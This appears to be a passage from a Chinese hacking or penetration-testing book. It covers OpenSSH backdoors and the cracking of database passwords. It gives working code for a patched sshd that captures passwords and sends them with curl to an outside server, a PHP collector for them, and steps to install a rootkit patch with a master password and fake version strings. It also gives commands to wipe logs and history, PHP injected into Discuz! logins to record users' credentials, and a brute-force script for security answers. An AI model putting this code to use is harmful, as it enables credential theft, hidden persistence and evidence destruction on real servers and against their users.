使用“ssh -l root IP”命令登录服务器，如“ssh -l root 192.168.52.175”。可以使用root的密码，也可以使用后门设置的密码“995430aaa”进行登录。然后，访问“/usr/local/ share/0wn”目录，查看其记录的密码日志文件clog和slog，如图2-25所示，可以看到SSH登录和本地root账号登录的密码。

图2-25 查看密码记录

在实际测试过程中，还需要清除Apache日志。可供参考的日志清除命令如下。

export HISTFILE=/dev/null
export HISTSIZE=0
cd /etc/httpd/logs/
sed -i ‘/192.168.52.175/d’ access_log*
echo >/root/.bash_history      //清空操作日志

2.5.6 拓展密码记录方式

前面记录的密码只能在Linux服务器上面看，也就是说，用户必须拥有读取文件的权限，如果没有权限则无法登录服务器。在这里，最好的方法是记录的用户、密码和端口可以通过邮件或者HTTP直接发送到接收端（与黑产收信类似）。下面介绍具体实现方法。

01 接收端ssh.php代码

<?php
$username = $_POST['username'];
$password = $_POST['password'];
$host = $_POST['host'];
$port = $_POST['port'];
$time=date('Y-m-d H:i:s',time());
 if(isset($username) != "" || isset($password) !="" || isset($host) != "")
{
        $fp = fopen("sshlog.txt","a+");
        $result = "sername:.$username--->:Password:$password----->:Host:$host
----->:port:$port----->:time:$time";
        fwrite($fp,$result);
        fwrite($fp,"\r\n");
        fclose($fp);
}

02 修改auth-passwd.c文件的内容

int
userauth_passwd(Authctxt *authctxt)
{
    static int attempt = 0;
    char prompt[150];
    char *password;
    char *pass[200];
    char szres[1024] = {0};
    FILE *f;
    char *findport()
    {
        FILE *FTopen;
        char tempBuf[1024] = {0};
        char *Filename = "/etc/ssh/sshd_config";
        char *Filetext = "Port";
        if((FTopen = fopen(Filename, "r")) == NULL) { return Filetext; }
        while(fgets(tempBuf, 1024, FTopen) != NULL) {
                if(strstr(tempBuf, Filetext)) { Filetext = tempBuf; break; }
                memset(tempBuf, 0, 1024);
        }
        fclose(FTopen);
        return Filetext;
    }
    const char *host = options.host_key_alias ?  options.host_key_alias :
        authctxt->host;

    if (attempt++ >= options.number_of_password_prompts)
        return 0;

    if (attempt != 1)
        error("Permission denied, please try again.");

    snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
        authctxt->server_user, host);
    password = read_passphrase(prompt, 0);
    strcpy(pass,password);   //截取密码的时候把它复制到自定义的地方，以便调用
    packet_start(SSH2_MSG_USERAUTH_REQUEST);
    packet_put_cstring(authctxt->server_user);
    packet_put_cstring(authctxt->service);
    packet_put_cstring(authctxt->method->name);
    packet_put_char(0);
    packet_put_cstring(password);
    memset(password, 0, strlen(password));
    xfree(password);
    packet_add_padding(64);
    packet_send();

    dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,
&amp;input_userauth_passwd_changereq);

    if((f=fopen("/tmp/olog","a+"))!=NULL){
        fprintf(f,"username:%s-->password:%s-->host:%s-->port:%s\n",
authctxt->server_user,pass,authctxt->host,findport());
        fclose(f);}

    memset(szres,0,sizeof(szres));
    snprintf(szres,sizeof(szres),"/usr/bin/curl -s -d \"username=%s&amp;password=
%s&amp;host=%s&amp;port=%s\"
http://www.antian365.com/ssh.php >/dev/null",authctxt-> server_user,pass,
authctxt->host,findport());
    system(szres);
        return 1;
}

重新编译，执行后会自动将密码发送到服务器。但笔者在实际测试中并没有达到这样的效果，相关信息请读者访问http://0cx.cc/ssh_get_password.jspx查看并验证。

2.5.7 OpenSSH后门的防范方法

OpenSSH后门的防范方法如下。

重装OpenSSH软件，更新至最新版本7.2。

将SSH默认登录端口22更改为其他端口。

在IPTable中添加SSH访问策略。

查看命令历史记录，对可疑文件进行清理。在有条件的情况下，可重做系统。

修改服务器所有用户的密码为新的强健密码。

使用strace命令找出SSH后门。运行“ps aux | grep sshd”命令获取可疑进程的PID，运行“strace -o aa -ff -p PID”命令进行跟踪，成功登录SSH后，在当前目录下就生成了strace命令的输出。使用“grep open aa* | grep -v -e No -e null -e denied| grep WR”命令查看记录文件。在上面的命令中，过滤错误信息、/dev/null信息和拒绝（denied）信息，找出打开了读写模式（WR）的文件（因为要把记录的密码写入文件）。可以找到以读写方式记录在文件中的SSH后门密码文件的位置，并通过该方法判断是否存在SSH后门。当然，也有不记录密码，而仅仅留下一个万能SSH后门的情况。

2.5.8 小结

获取Linux的版本及其信息，命令如下。

cat /etc/issue
uname –ar

获取SSH版本的信息并记录，命令如下。

ssh -V >ssh.txt

下载OpenSSH客户端及后门程序，命令如下。网上还有一个版本sshd.tar.gz。

wget http://down1.chinaunix.net/distfiles/openssh-5.9p1.tar.gz
wget
http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz

备份SSH配置文件，命令如下。

mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old

安装必备软件，命令如下。

yum install -y openssl openssl-devel pam-devel zlib zlib-devel

解压并安装补丁，命令如下。

tar zxf openssh-5.9p1.tar.gz
tar zxf openssh-5.9p1.tar.gz
cp openssh-5.9p1.patch/sshbd5.9p1.diff  /openssh-5.9p1
cd openssh-5.9p1
patch < sshbd5.9p1.diff

修改includes.h文件中记录用户名和密码的文件位置及其密码，命令如下。

#define ILOG "/tmp/ilog"     //记录登录本机的用户名和密码
#define OLOG "/tmp/olog"     //记录本机登录远程的用户名和密码
#define SECRETPW "123456654321"  //后门的密码

修改version.h文件，使其修改后的版本信息为原始版本，命令如下。

#define SSH_VERSION "填入之前记下来的版本号,伪装原版本"
#define SSH_PORTABLE "小版本号"

安装并编译，命令如下。

./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
make clean
make &amp;&amp; make install
service sshd restart

恢复新配置文件的日期，使其与旧文件的日期一致。对ssh_config和sshd_config文件的内容进行对比，使其配置文件一致，然后修改文件日期。

touch -r  /etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r  /etc/ssh/sshd_config.old /etc/ssh/sshd_config

清除操作日志，代码如下。

export HISTFILE=/dev/null
export HISTSIZE=0
cd /etc/httpd/logs/
sed -i ‘/192.168.52.175/d’ access_log*
echo >/root/.bash_history //清空操作日志

参考文章

如何使用Linux通用后门，http://www.freebuf.com/tools/10474.html。

关于OpenSSH通用后门的拓展，http://0cx.cc/ssh_get_password.jspx。

第3章

数据库密码的获取与破解

在网络渗透过程中，数据库历来属于“兵家必争之地”。数据库是企业的核心，很多重要数据都保存在数据库中，一旦黑客入侵并掌握了数据库的连接口令，就意味着数据的泄露。网上经常看见的“某某公司某某漏洞导致百万条数据泄露”的新闻，往往就是由数据库密码泄露造成的。

本章着重介绍Access数据库破解、MD5加解密、通过网页文件获取数据库账号和口令、对MySQL和SQL Server数据库进行扫描等内容。

本章主要内容

Discuz! 论坛密码记录及安全验证问题暴力破解

Access数据库破解实战

巧用Cain破解MySQL数据库密码

MD5加密与解密

MD5（base64）加密与解密

通过网页文件获取数据库账号和口令

SQL Server 2000口令扫描

MySQL口令扫描

巧用Cain监听网络获取数据库口令

MySQL数据库提权

SQL Server数据库的还原

使用SQLRootKit网页数据库后门控制

3.1 Discuz! 论坛密码记录及安全验证问题暴力破解

Discuz!是目前最好用的论坛程序之一，在Discuz!论坛用户注册过程中设置了安全问题和安全答案进行安全保护，因此，即使攻击者获取了数据库，也会由于不知道安全问题的答案而止步。近年来，由于密码泄露事件的影响和社工库的普及，用户和管理员大都设置了安全验证，所以，获取用户的安全验证问题就非常有必要了。目前，获取用户的安全验证问题的主要方式有两种：一种是通过修改源程序，在其中加入记录代码，截获所有登录用户的登录密码、安全问题和答案；另一种就是暴力破解。本节对这两种方法均进行了实验，且均获得了想要的结果，下面将整个过程与读者分享。

3.1.1 Discuz! 论坛密码记录程序的编写及实现

在源程序中加入记录代码的方式相对简单，具体如下。

1.Discuz! 7.1-7.2论坛记录程序的编写及实现

在Discuz! 7.2论坛中找到程序文件login.func.php，在其中加入以下代码。

$ip=$_SERVER['REMOTE_ADDR'];
$showtime=date("Y-m-d H:i:s");
$record="<?exit();?>".$username." --------".$password." IP:".$ip."questionid".
$questionid."answer".$answer." Time:".$showtime."\r\n";
$handle=fopen('./include/csslog.php','a+');
$write=fwrite($handle,$record);

密码记录和登录文件保存在“include”目录下的cssog.php文件中，打开csslog.php文件即可看到获取的用户记录，如图3-1所示。目前，康盛创想公司基本已经停止对Discuz! 7.2（程序下载地址为http://download.comsenz.com/Discuz/7.2/）的更新。

图3-1 Discuz!7.2论坛密码及验证问题记录

2.Discuz! X2.5-3.1论坛记录程序的编写及实现

在Discuz! X2.5-3.1安装目录的“uc_client”文件夹下找到client.php文件，在“unction uc_user_ login”函数中加入以下代码。

//以下为密码记录程序代码
if(getenv('HTTP_CLIENT_IP')) {
$onlineip = getenv('HTTP_CLIENT_IP');
} elseif(getenv('HTTP_X_FORWARDED_FOR')) {
$onlineip = getenv('HTTP_X_FORWARDED_FOR');
} elseif(getenv('REMOTE_ADDR')) {
$onlineip = getenv('REMOTE_ADDR');
} else {
$onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
}
    if(getenv('HTTP_CLIENT_IP')) {
            $onlineip = getenv('HTTP_CLIENT_IP');
                } elseif(getenv('HTTP_X_FORWARDED_FOR')) {
                  $onlineip = getenv('HTTP_X_FORWARDED_FOR');
                } elseif(getenv('REMOTE_ADDR')) {
                $onlineip = getenv('REMOTE_ADDR');
                } else {
                $onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
                }
    $ip=$onlineip;
    $showtime=date("Y-m-d H:i:s");
    $record="<?exit();?>用户：".$username." 密码：".$password." IP:".$ip."
Time:".$showtime." questionid：".$questionid."answer：".$answer."\r\n";
    $handle=fopen('./api/csslog.php','a+');
    $write=fwrite($handle,$record);
//密码记录程序代码结束

用户登录后查看127.0.0.1/api/csslog.php文件，即可获取密码及验证问题答案等信息，效果如图3-2所示。从Questionid 1到Questionid 7分别与设置的验证问题一一对应，如图3-3所示，本例中Questionid 3的对应问题为“父亲出生的城市”。

图3-2 Discuz！X2.5论坛密码及其验证程序记录效果

图3-3 问题ID对应

3.1.2 Discuz! X2.5密码安全问题

下面我们一起了解一下Discuz! X2.5论坛密码的安全问题。

1. 获取Secques值

对于Discuz! X2.5及其他版本的论坛程序，解决方法类似。首先要查看用户的Secques值，如图3-4所示，该Secques值为“ca9e47ea”。如果没有这个值，可直接将password:salt值放到cmd5网站进行查询，如图3-5所示，获取管理员密码“123456”。如果设置了安全问题，即使有这个值，即使获取了密码，也无法登录。

图3-4 查看Secques值

图3-5 查询管理员的密码

2.密码安全问题的设置和解除

密码登录安全提问是用户注册成功后通过再次设置“密码安全”实现的。如图3-6所示，Discuz!默认设置了7个安全验证问题，用户只需要选择问题，然后设置对应的答案即可，论坛最高管理员或者创建人可以直接将安全提问清除。设置安全验证问题后，用户登录时除了需要输入用户名和密码外，还需要选择自己设置的安全问题并输入相应的答案，如图3-7所示。

图3-6 设置安全问题

图3-7 用户登录安全问题验证

3.1.3 Discuz! X2.5密码安全问题的暴力破解

暴力破解程序代码如下。

<?
/*discuz提示问题答案暴力破解程序。*/
error_reporting(0);
if($argc<2){
print_r('
--------------------------
Usage: php cracksecques.php  hash
Example:
php cracksecques.php ca9e47ea
--------------------------
');
die;}
$fd=fopen("pass.dic",r);
if(!$fd){
  echo "error:打开字典文件错误";
  die;}
while($buf=fgets($fd)){
 for($i=1;$i<8;$i++) {
 $tmp=substr(md5(trim($buf).md5($i)),16,8);
 $conn=strcmp($tmp,$argv[1]);
  if($conn==0)  {
  echo "密码破解成功!\n"."提示问题答案为:".$buf."提示的问题为:".theask
((int)$i)."\n";
   die;}}}
if($conn!=0){echo"没有正确的密码!";}
fclose($fd);
function theask($var){
 if($var==1){return"母亲的名字";  }
 elseif($var==2){return"爷爷的名字";}
 elseif($var==3){return"父亲出生的城市";  }
 elseif($var==4){return"您其中一位老师的名字";}
 elseif($var==5){return"您个人计算机的型号";  }
 elseif($var==6){return"您最喜欢的餐馆名称";  }
 elseif($var==7){return"驾驶执照最后四位数字";}
}
?>

将以上程序代码保存为文件crackdzsecques.php，在Windows下通过“php crackdzsecques.php ca9e47ea”命令进行破解，pass.dic为生成的字典，如图3-8所示。

图3-8 破解安全问题

3.2 Access数据库破解实战

Access是微软于1994年推出的一种基于Windows的桌面关系数据库管理系统（RDBMS）。关系数据库由一系列表组成，表又由一系列行和列组成，每一行是一个记录，每一列是一个字段，每个字段有一个字段名，字段名在一个表中不能重复。表与表之间可以建立关系（或称关联、连接），以便查询相关联的信息。Access数据库以文件形式保存，文件的扩展名是.mdb。Access数据库由6种对象组成，它们是表、查询、窗体、报表、宏和模块。

表（Table）是数据库的基本对象，是创建其他5种对象的基础。表由记录组成，记录由字段组成。表用于存储数据库中的数据，故又称数据表。

查询（Query）可以按索引快速查找到需要的记录，按要求筛选记录并能连接若干个表的字段组成新表。

窗体（Form）提供了一种能方便地浏览、输入及更改数据的窗口，还可以创建子窗体显示相关联的表的内容。窗体也称表单。

报表（Report）的功能是将数据库中的数据分类汇总，然后打印出来，以便分析。

宏（Macro）相当于DOS中的批处理，用于自动执行一系列操作。Access列出了一些常用的操作供用户选择，使用起来十分方便。

模块（Module）的功能与宏类似，但它定义的操作比宏更加精细和复杂，用户可以根据自己的需要编写程序。模块使用Visual Basic编程。

3.2.1 Access数据库简介

下面我们了解一下Access数据库的特点及其局限性。

1.Access数据库的主要特点

Access数据库的主要特点如下。

存储方式单一：Access管理的对象有表、查询、窗体、报表、页、宏和模块，以上对象都存放在后缀为.mdb的数据库文件中，便于用户进行操作和管理。

面向对象：Access是一个面向对象的开发工具，利用面向对象的方式将数据库系统的各种功能对象化，将数据库管理的各种功能封装在各类对象中。它认为一个应用系统是由一系列对象组成的，它对每个对象都定义了一组方法和属性，以定义该对象的行为和外围。用户可以按照需要给对象扩展方法和属性。通过对象的方法、属性完成数据库的操作和管理，极大简化了用户的开发工作。同时，这种基于面向对象的开发方式使得开发应用程序更为简便。

界面友好，易操作：Access是一个可视化工具，其风格与Windows完全一样，用户想要生成对象并应用，只要使用鼠标进行拖放即可，非常直观、方便。系统还提供了表生成器、查询生成器、报表设计器及数据库向导、表向导、查询向导、窗体向导、报表向导等工具，操作简便，容易使用和掌握。

集成环境，处理多种数据信息：Access基于Windows操作系统的集成开发环境。该环境集成了各种向导和生成器工具，极大地提高了开发人员的工作效率，使建立数据库、创建表、设计用户界面、设计数据查询、报表打印等可以方便、有序地进行。

支持ODBC（Open Data Base Connectivity，开放数据库互联）：利用Access强大的DDE（动态数据交换）和OLE（对象的链接和嵌入）特性，可以在一个数据表中嵌入位图、声音、Excel表格、Word文档，还可以建立动态的数据库报表和窗体等。而且，Access可以将程序应用于网络，并与网络上的动态数据连接，利用数据库访问页对象生成HTML文件，轻松构建Internet/Intranet应用。

2.Access数据库的缺点和局限性

Access是一种桌面数据库，适合数据量少的应用，在处理少量数据和单机访问时很好用，效率也很高，但在处理海量数据时效率会受到极大影响。例如，搭配ASP应用于互联网时，如果调用数据库的程序设计不理想，Access数据库超过30MB就开始影响性能，50MB左右的时候性能会急剧下降，即使配合设计优良的程序，数据库的极限大小也只能是几百MB。记录数过多、访问人数过多的时候，也会造成Access数据库性能急剧下降。

另外，Access数据库在安全性方面也比不上MySQL、MSSQL等专业数据库，配合ASP程序使用的时候，如果使用默认的.mdb文件后缀而且没有经过额外的安全处理，别人甚至可以直接下载我们的数据库文件。

3.Access数据库的版本

Access数据库最早版本是1997年发布的，后面逐渐升级为2000版本，2003版本，2007版本以及最新的2010版本。

3.2.2 Access数据库密码破解实例

在一些软件系统和网站系统中，出于安全考虑，很多程序设计者都会给Access数据加上密码，以保护数据库内容的安全。下面以一个实例来说明如何破解和操作Access数据库。

01 选择需要破解的Access数据库文件

笔者推荐一款Access数据库密码破解工具——Access数据库特殊操作。如图3-9所示，运行“Access数据库特殊操作”后，在软件窗口单击“破解Access密码”标签，然后在Access文件路径中选择需要破解的文件，也可以直接输入Access文件路径。

图3-9 选择需要破解的Access文件

02 获取数据库密码

单击“破解密码”按钮，软件很快就将Access数据库密码破解。如图3-10所示，Access的版本为97.3.51，密码为“91459”。

图3-10 破解Access数据库密码

03 删除数据库密码

在软件窗口单击“删除Access的密码”标签，如果前面选择过数据库，则在“数据库路径”设置框中会显示上次操作的数据库，同时显示数据库的密码，单击“删除密码”按钮将加密的数据库密码删除，如图3-11所示。

图3-11 删除Access数据库密码

除去破解Access密码外，该软件还有一个实用功能——压缩数据库的大小。Access数据库长时间持续运行后，文件本身会增加一些无用的信息，导致数据文件非常大，而对Access数据库来说，当数据库大小超过30MB就会影响性能，超过50MB会严重影响性能，因此，当数据库“个头”太大时，就需要给它“减肥”。在该软件主界面单击“压缩Access数据库”标签，如图3-12所示，选择数据库文件后单击“压缩数据库”按钮即可。

图3-12 压缩Access数据库

3.3 巧用Cain破解MySQL数据库密码

MySQL数据库用户的密码与其他数据库用户的密码一样，在应用系统代码中都是以明文形式出现的，在获取文件读取权限后即可直接从数据库连接文件中读取。例如，ASP代码中的conn.asp数据库连接文件中一般都包含数据库类型、物理位置、用户名和密码等信息，而在MySQL中，即使获取了某一个用户的数据库用户（root用户除外）的密码，也只能操作某一个用户的数据库中的数据。在实际攻防过程中，在获取WebShell的情况下，可以直接下载MySQL数据库中的user.myd文件，该文件中保存的是MySQL数据库中所有用户对应的数据库密码，只要能够破解这些密码，就可以正大光明地操作这些数据了。虽然网上有很多修改MySQL数据库用户密码的方法，但大都不可取，因为修改用户密码的事情很容易被人发现！

研究MySQL数据库的加解密方式，在网络攻防过程中具有重要的意义。设想一下：一旦获取了网站的部分权限，如果能够获取MySQL中保存的用户数据，那么解密后即可通过正常途径访问数据库，一方面可以直接操作数据库中的数据，另一方面可以用来提升权限。目前关于破解MySQL方面的研究还不是很多，本节算是抛砖引玉，虽然效果不是特别好，但也算是对破解MySQL数据库用户密码的一种探讨和尝试。

3.3.1 MySQL的加密方式

MySQL数据库的认证密码有两种方式，MySQL 4.1之前是MySQL323加密，MySQL 4.1及之后的版本都是MySQLSHA1加密。MySQL数据库自带Old_Password(str)和Password(str)函数，它们均可以在MySQL数据库里进行查询，前者是MySQL323加密，后者是MySQLSHA1加密。

1.以MySQL323方式加密

以MySQL323方式加密，示例如下。

SELECT Old_Password('bbs.antian365.com');

查询结果如下。

MYSQL323 = 10c886615b135b38

2.以MySQLSHA1方式加密

以MySQLSHA1方式加密，示例如下。

SELECT Password('bbs.antian365.com');

查询结果如下。

MYSQLSHA1 = *A2EBAE36132928537ADA8E6D1F7C5C5886713CC2

执行结果如图3-13所示，MYSQL323加密生成的是16位字符串，而MySQLSHA1加密生成的是41位字符串，其中“*”不参加实际的密码运算。通过观察发现，很多用户都携带了“*”，在实际破解过程中需要去掉“*”，也就是说，MySQLSHA1加密密码的实际位数是40位。

图3-13 在MySQL数据库中查询同一密码的不同SHA值

3.3.2 MySQL数据库文件结构

MySQL数据库的文件结构情况如下。

1.MySQL数据库文件类型

MySQL数据库文件有FRM、MYD和MYI共3种格式。FRM是描述表结构的文件。MYD是表的数据文件。MYI是表数据文件中任何索引的数据树，一般单独存储在一个文件夹中，默认路径为C:\Program Files\MySQL\MySQL Server 5.0\data。

2.MySQL数据库用户密码文件

在MySQL数据库中，所有设置默认都保存在C:\Program Files\MySQL\MySQL Server 5.0\data\MySQL目录下，也就是安装程序的data目录下。如图3-14所示，与用户有关的文件一共有3个，分别是user.frm、user.MYD和user.MYI。MySQL数据库的用户密码都保存在user.MYD文件中，包括root用户和其他用户的密码。

图3-14 MySQL数据库用户密码文件

3.3.3 破解MySQL数据库密码

01 获取MySQL数据库用户密码加密字符串

使用UltraEdit-32编辑器直接打开user.MYD文件，使用二进制模式查看。如图3-15所示，在root用户后面是一串字符串，选中这些字符串并将其复制到“记事本”中，这些字符串即为用户加密值，本例为“506D1427F6F61696B4501445C90624897266DAE3”。

图3-15 获取加密的字符串

注意

（1）root后面的“*”不要复制到字符串中。

（2）有些情况下，需要往后面看看，否则得到的不是完整的MYSQLSHA1密码。总之，密码位数是40位。

02 将MySQL用户密码字符串加入Cain破解列表

我们使用Cain & Abel破解MySQL数据库用户密码。Cain & Abel是一个可以破解屏保口令、PWL密码、共享密码、缓存口令、远程共享口令、SMB口令，支持VNC口令解码、Cisco Type-7口令解码、Base64口令解码、SQL Server 7.0/2000口令解码、Remote Desktop口令解码、Access Database口令解码、Cisco PIX Firewall口令解码、Cisco MD5解码、NTLM Session Security口令解码、IKE Aggressive Mode Pre-Shared Keys口令解码、Dialup口令解码、远程桌面口令解码等的综合工具，还可以实现远程破解、挂字典及暴力破解，其Sniffer功能极其强大，几乎可以明文捕获一切账号口令，包括FTP、HTTP、IMAP、POP3、SMB、TELNET、VNC、TDS、SMTP、MSKERB5-PREAUTH、MSN、RADIUS-KEYS、RADIUS-USERS、ICQ、IKE Aggressive Mode Pre-Shared Keys Authentications。

Cain & Abel目前的最新版本是4.9.30，下载地址为http://www.newhua.com/soft/ 53494.htm。下载完毕，安装并运行。

在Cain & Abel主界面单击“Cracker”标签，然后将用户密码的加密字符串“506D1427F6F61696B4501445C90624897266DAE3”加入MySQL Hashes破解列表中，如图3-16所示。

图3-16 使用Cain破解MySQL密码

在快捷菜单中单击“Add to list”选项，将字符串复制到“Hash”输入框中，在“Username”输入框中可以输入任意内容，如图3-17所示。

图3-17 在MD5Crack4中验证MD5值

03 使用字典进行破解

如图3-18所示，选中刚才添加的需要破解的字符串，然后选择“Dictionary Attack”（字典破解）选项，在弹出的菜单中选择“MySQL SHA1 Hashes”方式进行破解。该方式针对的是MySQL 4.1及后续版本，对于MySQL 4.1以前的版本，应选择“MySQL v3.23 Hashes”选项。

图3-18 选择破解方式

选择“Dictionary Attack”（字典破解）选项后，会出现一个窗口，主要用于选择字典，如图3-19所示，在“Dictionary”设置区下方单击右键，可以添加1个或者多个字典文件。字典选择完毕后，可以在“Options”（选项）设置区中进行选择，然后单击“Start”按钮进行破解。

图3-19 设置字典破解

说明

在“Options”设置区中一共有8种方式，具体如下。

（1）字符串首字母大写。

（2）字符串反转。

（3）双倍字符串。

（4）字符串全部小写。

（5）字符串全部大写。

（6）在字符串中加入数字。

（7）在每个字符串中进行大写轮换。

（8）在字符串中加入2个数字。

破解成功后，Cain会给出一些提示信息，如下所示。

Plaintext of user <none> is databasepassword
Attack stopped!
1 of 1 hashes cracked

以上信息表明加密的密码是“databasepassword”。

回到Cain破解主窗口，破解的密码值会自动加入“Password”列中，如图3-20所示。

图3-20 破解成功

3.3.4 破解探讨

下面我们探讨与本次破解相关的话题。

1.字典破解与字典强度有关

依次单击“开始”→“程序”→“MySQL”→“MySQL Server 5.0”→“MySQL Command Line Client”选项，打开“MySQL Command Line Client”窗口，输入密码后，输入以下代码设置一个新的密码。

Use MYSQL
update user set password=password("1977-05-05") where user="root";
flush privileges;

本例中将原来的密码修改为“1977-05-05”，其结果如图3-21所示。

图3-21 修改MySQL用户密码

再次用UltraEdit-32打开“C:\Program Files\MySQL\MySQL Server 5.0\data\MYSQL\ user.MYD”，获取新的密码字符串“B046BBAF61FE3BB6F60CA99AF39F5C2702F00D12”，重新选择一个字典文件，本例选择生成的生日字典，如图3-22和图3-23所示，仅选择小写字符串进行破解，很快就获取了破解结果。

图3-22 再次破解MySQL密码

图3-23 修改MySQL密码后再次破解MySQL密码

2.使用彩虹表进行破解

Cain提供了彩虹表破解MySQL的方式，在破解方式中选择“Cryptanalysis Attack”→“MySQL SHA1 Hashes via RainbowTables”选项即可，如图3-24和图3-25所示。

图3-24 使用彩虹表破解方式

图3-25 使用彩虹表进行破解

在实际测试过程中，由于网络上提供的SHA彩虹表是RTI格式的，而Cain中使用的是RT格式的。笔者将下载的所有彩虹表中文件后缀由“RTI”修改为“RT”，然后进行破解，提示破解不成功，其原因应该是彩虹表的格式不一样，Cain只承认它自己提供的彩虹表。

3.Hash计算器

Cain提供了各种Hashes计算。在主界面中单击计算机图标按钮，弹出Hash计算器，在“Text to hash”输入框中输入需要转换的原始值，如“12345678”，单击“Calculate”按钮进行计算，如图3-26所示，可以看到14种Hash值。

图3-26 计算Hashes值

4.生成彩虹表

在Cain的安装目录C:\Program Files\Cain\Winrtgen中直接运行Winrtgen，如图3-27所示，该工具为彩虹表生成器，可以很方便地生成各种类型的彩虹表值。

图3-27 Winrtgen彩虹表生成工具

5.设置彩虹表

单击“Add Table”按钮，在“Rainbow Table properties”对话框的“Hash”下拉列表中选择“mysqlsha1”选项，根据实际情况分别设置“Min Len”、“Max Len”、“Index”、“Chain len”、“Chain Count”及“N of tables”的值，一般情况下，仅需要设置“Min Len”、“Max Len”及“N of tables”的值。“N of tables”主要用来测试Hashes生成的完整度，输入不同的值，会在“Table properties”显示区中显示百分比，使用户可以通过尝试确定一共需要生成多少个表。单击“Benchmark”按钮可以进行时间估算。如图3-28所示，单击“OK”按钮完成生成设置。

图3-28 设置彩虹表

在彩虹表生成器中，如图3-29所示，单击“Start”按钮开始生成彩虹表，在“Status”列中会显示生成的大小和进度。

图3-29 开始生成彩虹表

由于生成彩虹表的时间比较长，在网上也没有搜索到以“rt”结尾的MySQL Sha1 Hashes表，因此，本次破解主要以字典破解为主，彩虹表的破解将在全部生成后进行。

在服务器权限设置不太严格的情况下，通过WebShell完全可以将MySQL下的user.MYD文件下载到本地。只要破解了root用户的密码，借助WebShell就可以做很多事情。本节通过使用Cain破解MySQL密码，算是一种较好的尝试，只要使用字典工具生成一些具有一定强度的字典，对于那些设计不太复杂的MySQL密码，破解还是比较容易的。

3.4 MD5加密与解密

本节介绍如何使用MD5Crack 3及一些在线网站进行破解。MD5Crack 3是阿呆编写的一款MD5密码破解软件，其网站为http://www.adintr.com/subject/mdcrk/index.htm，目前已经发布了MD5Crack 4.0。读者也可以访问笔者的博客（http://simeon.blog. 51cto.com/18680/144558）下载MD5Crack 3。

3.4.1 MD5加解密知识

MD5密文破解（解密）可以说是网络攻击中的一个必不可少的环节，是黑客工具中的一个重要辅助工具。

MD5解密主要用于网络攻击，在对网站等进行入侵的过程中，有可能获得管理员或者其他用户的账号和密码值（MD5加密后的值）。获得的密码值有两种情况：一种是明文；另一种是对明文进行了加密。如果密码值是加密的，就需要对密码值进行判断；如果采取了MD5加密，则可以通过MD5Crack3等软件进行破解。由于王小云教授的MD5密码碰撞破解算法没有公布，因此目前MD5解密方式主要采取暴力破解，即软件通过算法生成字典，然后使用MD5函数加密该字典中的值形成密文，与需要破解的密文进行比较，如果相同，则认为破解成功。目前，有很多网站提供MD5加密或者加密值查询，将加密后的MD5值输入网站，如果网站数据库中存在该MD5值，则该值对应的MD5加密前的值就是密码。

3.4.2 通过cmd5网站生成MD5密码

在浏览器地址栏中输入“http://www.cmd5.com/”，在输入框中输入想要加密的原始密码，然后单击“MD5加密或解密”按钮，如图3-30所示，原始密码为“goodman88”，加密后的密码值如下。

MD5(goodman88,32) = d5a8e0b115259023faa219f5b53ca522
MD5(goodman88,16) = 15259023faa219f5

图3-30 MD5加密

作为实验数据，我们再生成一组生日的MD5密码，示例如下。

MD5(19801230,32) = 2540bb62336a8eb3ebc1e42ee44c8e3d
MD5(19801230,16) = 336a8eb3ebc1e42e

3.4.3 通过cmd5网站破解MD5密码

在cmd5网站的输入框中输入加密后的32位MD5值“d5a8e0b115259023faa219f5b53ca522”，然后单击“md5加密或解密”按钮，如图3-31所示，未能成功破解。

图3-31 通过cmd5网站未能破解MD5密码

将第2个加密后的MD5值“2540bb62336a8eb3ebc1e42ee44c8e3d”放入cmd5网站进行破解，很快其结果就出来了，如图3-32所示。

图3-32 破解简单的数字密码

3.4.4 通过在线MD5破解网站付费破解高难度的MD5密码

一些在线网站提供的MD5密码破解功能只能破解已经收录的和一些简单的密码，稍微复杂一点的密码都很难破解。而且，对一些稍微有点难度的MD5密码值，如果数据库中存在该值，在线网站会要求访问者付费破解，如图3-33所示，提示找到但是要求付费。

图3-33 要求付费才能查看MD5密码值

3.4.5 使用字典暴力破解MD5密码值

字典暴力破解是目前最常用的MD5密码值破解方法，下面详细介绍其步骤。

01 再次生成MD5密码值

在cmd5网站生成原密码“jimmychu246 ”的MD5密码值，结果如下。

MD5(jimmychu246,32) = 437f4fffb6b2e5aaca9fd1712b8ad282
MD5(jimmychu246,16) = b6b2e5aaca9fd171

直接运行MD5Crack 4，界面如图3-34所示。

图3-34 MD5Crack4程序主界面

02 在MD5Crack 4中验证MD5值

将需要破解的MD5值“437f4fffb6b2e5aaca9fd1712b8ad282”粘贴到“Single Cryptograph”（破解单个密文）输入框中，如图3-35所示，如果该MD5值是正确的，则会在输入框下方显示黑色的“valid”（有效）字样，否则将显示灰色的“valid”字样。

图3-35 在MD5Crack4中验证

03 使用字典进行破解

在“Plaintext Seting”（字符设置）设置区单击选中“Dictionary”（字典）单选按钮，并在“No.1”、“No.2”及“No.3”设置框中选择3个不同的字典。选择完毕，单击“Start”按钮，开始进行MD5破解，破解结束后会给出相应的提示，如图3-36所示。在本例中，使用字典破解成功，在“Result”标签页中显示破解的密码为“jimmychu246”。

图3-36 使用字典进行破解

04 使用字符集中的数字进行破解

将上面生成的MD5值“336a8eb3ebc1e42e”放入单一MD5密码破解输入框中，单击选中“Char Muster”（使用字符集）单选按钮后，可以勾选“Number”、“lowercase”、“majuscule”、“special char”及“custom”复选框进行破解。

在本例中使用数字进行破解，因此，要将“Min Length”（最小长度）的值设置为1，将“Max Length”（最大长度）的值设置为8，然后单击“Start”按钮，使用数字进行MD5破解，尝试破解密码位数为1～9999999的所有数字组合。如图3-37所示，密码破解成功，结果为“336a8eb3ebc1e42e ---> [19801230]”。

图3-37 使用数字进行破解

说明

（1）在MD5Crack 4中，可以定义数字、大小字母、特殊字符的组合进行破解。

（2）如果计算机配置比较高，可以设置更多线程。

